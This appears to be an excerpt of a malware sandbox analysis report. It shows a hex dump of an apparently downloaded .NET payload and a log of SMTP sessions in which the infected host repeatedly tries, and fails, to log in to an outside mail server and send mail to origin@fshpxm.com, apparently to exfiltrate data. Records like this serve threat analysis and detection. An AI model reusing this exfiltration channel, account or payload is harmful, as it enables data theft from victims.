2024-04-18 08:23:55 UTC	1369	IN	Data Raw: 93 20 94 54 00 00 59 13 0b 38 85 fe ff ff 00 02 7b 01 00 00 04 02 7b 01 00 00 04 6f 0a 00 00 0a 6f 0b 00 00 0a 00 00 11 0c 20 88 01 00 00 93 13 0b 38 5d fe ff ff 08 0b de 2c 2b 00 1a 13 0f 11 0f 45 05 00 00 00 00 00 00 00 03 00 00 00 03 00 00 00 02 00 00 00 00 00 00 00 2b 00 00 02 16 7d 03 00 00 04 00 dc 2b 00 18 13 11 11 11 45 05 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 2b 00 07 2a 00 00 00 41 1c 00 00 02 00 00 00 6c 00 00 00 ad 01 00 00 19 02 00 00 2c 00 00 00 00 00 00 00 2a 00 02 15 6a 7d 02 00 00 04 2a 00 3a 00 02 02 28 68 00 00 06 7d 02 00 00 04 2a 00 13 30 06 00 eb 00 00 00 06 00 00 11 7e 5c 00 00 04 13 05 7e 6c 00 00 04 13 06 18 13 04 11 04 45 09 00 00 00 88 00 00 00 6b 00 00 00 00 00 00 00 4c 00 00 00 07 00 00 00 07 00 Data Ascii: TY8{{oo 8],+E+}+E+Al,j}:(h}0~\~lEkL
2024-04-18 08:23:55 UTC	1369	IN	Data Raw: 05 ff ff ff 08 13 06 11 09 20 e9 00 00 00 93 20 80 51 00 00 59 13 08 38 ed fe ff ff 11 06 2a 00 13 30 01 00 05 00 00 00 07 00 00 11 00 17 0a 06 2a 00 00 00 13 30 02 00 0d 00 00 00 07 00 00 11 00 02 7b 08 00 00 04 14 fe 03 0a 06 2a 00 00 00 13 30 01 00 05 00 00 00 07 00 00 11 00 16 0a 06 2a 00 00 00 13 30 01 00 05 00 00 00 07 00 00 11 00 17 0a 06 2a 00 00 00 13 30 01 00 0a 00 00 00 0d 00 00 11 00 02 7b 09 00 00 04 0a 06 2a 00 00 0a 00 2a 00 0a 00 2a 00 13 30 01 00 05 00 00 00 07 00 00 11 00 16 0a 06 2a 00 00 00 42 00 02 14 7d 08 00 00 04 02 16 7d 09 00 00 04 2a 00 00 00 1e 00 73 13 00 00 0a 7a 13 30 01 00 05 00 00 00 07 00 00 11 00 16 0a 06 2a 00 00 00 0a 00 2a 00 13 30 06 00 10 01 00 00 0e 00 00 11 7e 6c 00 00 04 13 07 7e 5c 00 00 04 13 08 19 13 06 11 06 Data Ascii: QY800{000{*0B}}sz0*0~l~\
2024-04-18 08:23:55 UTC	1369	IN	Data Raw: 00 00 11 00 02 7b 0a 00 00 04 0a 06 2a 00 00 13 30 01 00 05 00 00 00 07 00 00 11 00 16 0a 06 2a 00 00 00 13 30 02 00 11 00 00 00 13 00 00 11 00 03 74 05 00 00 1b 02 7b 0a 00 00 04 9a 0a 06 2a 00 00 00 0a 00 2a 00 0a 00 2a 00 13 30 01 00 05 00 00 00 07 00 00 11 00 16 0a 06 2a 00 00 00 13 30 01 00 0e 00 00 00 16 00 00 11 00 d0 02 00 00 02 28 1c 00 00 0a 0a 06 2a 00 00 13 30 01 00 05 00 00 00 07 00 00 11 00 17 0a 06 2a 00 00 00 13 30 01 00 0e 00 00 00 16 00 00 11 00 d0 0c 00 00 01 28 1c 00 00 0a 0a 06 2a 00 00 36 28 0a 01 00 06 2a d0 4c 00 00 06 26 2a 00 00 13 30 08 00 4e 00 00 00 07 00 00 11 02 28 10 00 00 0a 00 00 03 16 fe 04 0a 06 2c 2f 72 01 00 00 70 03 8c 09 00 00 01 28 05 00 00 0a 28 d9 00 00 06 17 8d 0b 00 00 01 25 16 03 8c 09 00 00 01 a2 28 06 00 00 Data Ascii: {00t{**00(00(6(L&*0N(,/rp((%(
2024-04-18 08:23:55 UTC	1369	IN	Data Raw: 01 00 0a 00 00 00 15 00 00 11 00 02 7b 14 00 00 04 0a 06 2a 00 00 13 30 01 00 0a 00 00 00 1d 00 00 11 00 02 7b 1b 00 00 04 0a 06 2a 00 00 26 00 02 03 7d 1b 00 00 04 2a 00 00 13 30 01 00 0a 00 00 00 1e 00 00 11 00 02 7b 1c 00 00 04 0a 06 2a 00 00 26 00 02 03 7d 1c 00 00 04 2a 00 00 13 30 01 00 0a 00 00 00 07 00 00 11 00 02 7b 1d 00 00 04 0a 06 2a 00 00 26 00 02 03 7d 1d 00 00 04 2a 00 00 13 30 01 00 0a 00 00 00 07 00 00 11 00 02 7b 1e 00 00 04 0a 06 2a 00 00 26 00 02 03 7d 1e 00 00 04 2a 00 00 1e 02 7b 2f 00 00 04 2a 22 02 03 7d 2f 00 00 04 2a 00 00 00 13 30 01 00 11 00 00 00 15 00 00 11 00 02 28 6f 00 00 06 00 02 7b 26 00 00 04 0a 06 2a 00 00 00 13 30 01 00 0a 00 00 00 07 00 00 11 00 02 7b 29 00 00 04 0a 06 2a 00 00 13 30 04 00 a4 00 00 00 1f 00 00 11 7e Data Ascii: {0{&}0{&}0{&}0{&}{/"}/0(o{&0{)*0~
2024-04-18 08:23:55 UTC	1369	IN	Data Raw: 85 00 00 59 13 04 2b 96 1d 2b f9 06 0c 11 06 20 5b 01 00 00 93 20 b0 b3 00 00 59 13 04 38 7c ff ff ff 15 0c 11 06 20 36 02 00 00 93 20 fd 9c 00 00 59 13 04 38 65 ff ff ff 08 2a 00 00 2e 00 02 03 16 28 72 00 00 06 00 2a 13 30 04 00 2f 02 00 00 25 00 00 11 7e 5c 00 00 04 13 09 7e 6c 00 00 04 13 0a 1b 13 08 11 08 45 16 00 00 00 50 00 00 00 f0 00 00 00 2b 00 00 00 3a 01 00 00 6c 00 00 00 00 00 00 00 18 01 00 00 00 01 00 00 79 01 00 00 ca 00 00 00 a2 00 00 00 36 00 00 00 82 00 00 00 50 00 00 00 be 01 00 00 5b 00 00 00 2b 00 00 00 21 01 00 00 56 01 00 00 bf 00 00 00 95 01 00 00 ad 00 00 00 00 03 14 fe 01 0a 06 2c 12 11 09 20 cc 00 00 00 93 20 be 52 00 00 59 13 08 2b 86 11 0a 20 c3 01 00 00 93 20 72 bb 00 00 59 2b ec 72 7f 00 00 70 73 22 00 00 0a 7a 04 16 32 12 Data Ascii: Y++ [ Y8\| 6 Y8e.(r0/%~\~lEP+:ly6P[+!V, RY+ rY+rps"z2
2024-04-18 08:23:55 UTC	1369	IN	Data Raw: 45 20 00 00 00 9f 01 00 00 6a 01 00 00 dd 00 00 00 a8 01 00 00 dd 01 00 00 a7 00 00 00 89 01 00 00 2f 01 00 00 fe 01 00 00 94 01 00 00 a7 02 00 00 b6 00 00 00 77 00 00 00 0f 01 00 00 d6 00 00 00 82 00 00 00 2d 02 00 00 4d 00 00 00 b2 02 00 00 b2 01 00 00 55 02 00 00 6f 02 00 00 8c 00 00 00 6a 01 00 00 90 02 00 00 00 00 00 00 48 01 00 00 09 02 00 00 b2 01 00 00 26 00 00 00 3e 01 00 00 f2 00 00 00 00 03 4a 02 7b 28 00 00 04 fe 02 16 fe 01 28 1d 00 00 0a 00 11 0e 1f 44 93 20 8f 86 00 00 59 13 0d 38 53 ff ff ff 03 4a 02 7b 28 00 00 04 fe 01 0b 07 2c 15 11 0f 20 5b 02 00 00 93 20 a2 54 00 00 59 13 0d 38 30 ff ff ff 1f 16 2b f5 00 03 16 54 02 28 78 00 00 06 16 fe 01 0c 08 2c 09 1f 0c 13 0d 38 12 ff ff ff 11 0f 20 e2 01 00 00 93 20 cb a3 00 00 59 2b e9 16 0d 1f Data Ascii: E j/w-MUojH&>J{((D Y8SJ{(, [ TY80+T(x,8 Y+
2024-04-18 08:23:55 UTC	346	IN	Data Raw: 84 0e 00 00 6b 0f 00 00 a0 12 00 00 5a 10 00 00 a3 08 00 00 32 0d 00 00 a8 03 00 00 ef 08 00 00 34 0b 00 00 c2 14 00 00 bd 04 00 00 b3 05 00 00 ed 05 00 00 e8 0f 00 00 88 09 00 00 d0 0c 00 00 c7 09 00 00 b3 0b 00 00 42 15 00 00 b4 08 00 00 0a 07 00 00 50 11 00 00 cb 07 00 00 cb 03 00 00 9a 06 00 00 80 14 00 00 77 00 00 00 45 04 00 00 fd 10 00 00 4c 0f 00 00 f5 0e 00 00 45 03 00 00 7b 10 00 00 a9 04 00 00 f5 02 00 00 c1 12 00 00 b0 0d 00 00 62 04 00 00 45 14 00 00 70 0b 00 00 87 0d 00 00 53 02 00 00 a4 07 00 00 ff 0a 00 00 05 12 00 00 94 0b 00 00 38 05 00 00 a6 14 00 00 00 00 00 00 d6 04 00 00 3a 01 00 00 e0 0d 00 00 e0 06 00 00 fb 13 00 00 f9 05 00 00 d0 05 00 00 59 08 00 00 66 06 00 00 49 0a 00 00 1e 0f 00 00 f3 10 00 00 84 11 00 00 30 0e 00 00 29 11 00 Data Ascii: kZ24BPwELE{bEpS8:YfI0)
2024-04-18 08:23:55 UTC	1348	IN	Data Raw: 00 00 d8 13 00 00 96 0a 00 00 01 13 00 00 d3 0a 00 00 4a 09 00 00 17 03 00 00 1e 0b 00 00 c0 02 00 00 83 01 00 00 06 10 00 00 ea 01 00 00 22 0d 00 00 e3 0c 00 00 8d 0c 00 00 3b 08 00 00 26 0a 00 00 f9 0f 00 00 0e 15 00 00 24 14 00 00 cb 08 00 00 02 07 00 00 18 04 00 00 cf 00 00 00 8a 0a 00 00 a1 04 00 00 5f 05 00 00 db 14 00 00 4f 0b 00 00 0c 0f 00 00 ca 0c 00 00 0c 01 00 00 a4 02 00 00 37 09 00 00 1c 06 00 00 ff 08 00 00 23 05 00 00 6c 01 00 00 b1 10 00 00 88 03 00 00 06 05 00 00 c4 00 00 00 49 07 00 00 b5 13 00 00 bd 0a 00 00 5e 0a 00 00 0f 14 00 00 e5 0e 00 00 10 0e 00 00 d9 05 00 00 5e 0d 00 00 b5 0c 00 00 e9 01 00 00 9d 0b 00 00 a0 11 00 00 93 0f 00 00 76 04 00 00 5f 12 00 00 85 08 00 00 94 0b 00 00 4f 00 00 00 67 11 00 00 39 13 00 00 7c 07 00 00 f8 Data Ascii: J";&$_O7#lI^^v_Og9\|

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 18, 2024 10:24:03.945012093 CEST	587	49163	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:03.946947098 CEST	49163	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:04.105165005 CEST	587	49163	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:04.151215076 CEST	49163	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:04.307580948 CEST	587	49163	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:06.291618109 CEST	587	49163	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:06.466197968 CEST	49163	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:06.621016026 CEST	587	49163	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:06.765515089 CEST	49163	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:06.936445951 CEST	587	49163	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:08.016525984 CEST	587	49164	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:08.016670942 CEST	49164	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:08.018294096 CEST	49163	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:08.170074940 CEST	587	49164	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:08.172278881 CEST	587	49163	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:08.220700026 CEST	49164	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:08.379296064 CEST	587	49164	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:10.539531946 CEST	587	49164	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:10.539719105 CEST	49164	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:10.694917917 CEST	587	49164	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:10.695209980 CEST	49164	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:10.867539883 CEST	587	49164	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:12.260631084 CEST	587	49166	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:12.265949011 CEST	49166	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:12.419408083 CEST	587	49166	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:12.419683933 CEST	49166	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:13.242820978 CEST	587	49167	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:13.248317003 CEST	49167	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:13.401979923 CEST	587	49167	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:13.402292013 CEST	49167	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:13.851263046 CEST	587	49168	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:13.900983095 CEST	49168	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:14.054475069 CEST	587	49168	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:14.054744005 CEST	49168	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:16.574812889 CEST	587	49166	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:17.558197021 CEST	587	49167	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:18.210827112 CEST	587	49168	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:18.540417910 CEST	587	49166	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:18.540730000 CEST	49166	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:18.695595026 CEST	587	49166	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:18.695785046 CEST	49166	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:18.867135048 CEST	587	49166	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:19.540182114 CEST	587	49167	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:19.540455103 CEST	49167	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:19.695561886 CEST	587	49167	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:19.695841074 CEST	49167	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:19.867471933 CEST	587	49167	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:20.541394949 CEST	587	49168	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:20.541563034 CEST	49168	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:20.697396040 CEST	587	49168	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:20.697542906 CEST	49168	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:20.867923021 CEST	587	49168	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:33.024961948 CEST	49166	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:33.025233030 CEST	49164	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:33.179514885 CEST	587	49166	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:33.179619074 CEST	587	49164	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:33.494692087 CEST	587	49169	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:33.494951963 CEST	49169	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:33.648837090 CEST	587	49169	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:33.650490046 CEST	49169	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:33.807120085 CEST	587	49169	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:34.346157074 CEST	587	49170	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:34.386981964 CEST	49170	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:34.541156054 CEST	587	49170	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:34.541373968 CEST	49170	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:34.698683977 CEST	587	49170	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:35.540153027 CEST	587	49169	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:35.540386915 CEST	49169	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:35.694722891 CEST	587	49169	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:35.694866896 CEST	49169	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:35.864095926 CEST	587	49169	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:36.029588938 CEST	49168	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:36.029638052 CEST	49167	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:36.183907986 CEST	587	49168	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:36.184027910 CEST	587	49167	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:36.396716118 CEST	587	49170	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:36.410909891 CEST	49170	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:36.496736050 CEST	587	49171	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:36.496970892 CEST	49171	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:36.565984011 CEST	587	49170	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:36.566198111 CEST	49170	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:36.650829077 CEST	587	49171	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:36.651021957 CEST	49171	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:36.737890005 CEST	587	49170	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:36.807874918 CEST	587	49171	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:36.833693027 CEST	587	49172	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:36.833868027 CEST	49172	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:36.986989975 CEST	587	49172	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:36.987303019 CEST	49172	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:37.144119024 CEST	587	49172	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:38.299909115 CEST	587	49171	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:38.300168991 CEST	49171	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:38.455454111 CEST	587	49171	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:38.455607891 CEST	49171	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:38.625900984 CEST	587	49171	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:39.544198990 CEST	587	49172	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:39.544771910 CEST	49172	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:39.700740099 CEST	587	49172	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:39.701014996 CEST	49172	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:39.872864008 CEST	587	49172	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:40.107068062 CEST	49169	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:40.107242107 CEST	49170	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:40.261904001 CEST	587	49169	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:40.262182951 CEST	587	49170	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:40.580343962 CEST	587	49173	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:40.580518007 CEST	49173	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:40.734402895 CEST	587	49173	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:40.734569073 CEST	49173	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:44.890981913 CEST	587	49173	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:45.089590073 CEST	49171	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:45.244359970 CEST	587	49171	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:46.301721096 CEST	587	49173	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:46.301999092 CEST	49173	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:46.458444118 CEST	587	49173	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:46.458625078 CEST	49173	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:46.532717943 CEST	587	49174	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:46.532891035 CEST	49174	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:46.628889084 CEST	587	49173	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:46.686474085 CEST	587	49174	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:46.686775923 CEST	49174	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:46.843734026 CEST	587	49174	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:47.931420088 CEST	49172	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:48.085829020 CEST	587	49172	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:48.550048113 CEST	587	49174	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:48.550373077 CEST	49174	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:48.705421925 CEST	587	49174	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:48.705573082 CEST	49174	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:48.877095938 CEST	587	49174	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:49.126441002 CEST	587	49175	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:49.130379915 CEST	49175	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:49.284199953 CEST	587	49175	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:49.284413099 CEST	49175	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
